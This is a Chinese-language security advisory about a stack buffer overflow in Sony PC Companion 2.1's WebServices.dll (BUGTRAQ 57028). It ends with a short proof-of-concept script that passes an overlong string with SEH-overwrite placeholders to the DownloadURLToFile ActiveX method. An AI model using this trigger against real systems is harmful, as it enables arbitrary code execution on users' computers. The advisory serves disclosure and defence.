companion安卓linux,Sony PC Companion 'DownloadURLToFile()函数栈缓冲区溢出漏洞

发布日期：2012-12-20

更新日期：2012-12-24

受影响系统：

sonymobile PC Companion 2.1

描述：

--------------------------------------------------------------------------------

BUGTRAQ  ID: 57028

Sony PC Companion是连接设备到计算机的工具和应用。

Sony PC Companion 2.10.115、2.10.108及其他版本处理DownloadURLToFile函数内的'bstrFile'超长值时，WebServices.dll内存在边界错误，可被利用造成栈缓冲区溢出，导致在受影响计算机内执行任意代码。

链接：http://packetstormsecurity.org/files/119017/Sony-PC-Companion-2.1-Unicode-Buffer-Overflow.html

*>

测试方法：

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

---

targetFile = "C:\Program Files\Sony\Sony PC Companion\WebServices.dll"

prototype  = "Sub DownloadURLToFile ( ByVal bstrUrl As String ,  ByVal bstrFile As String )"

memberName = "DownloadURLToFile"

progid    = "WebServicesLib.HttpClient"

argCount  = 2

bstrUrl="defaultV"

bstrFile=String(758, "A") + "BB" + "CC" + String(4238, "D")

'            ^              ^      ^            ^

'            |              |      |            |

'----------- junk --------- nseh - seh ------- junk --------

overrun.DownloadURLToFile bstrUrl, bstrFile

建议：

--------------------------------------------------------------------------------

厂商补丁：

sonymobile

----------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.sonymobile.com/cn/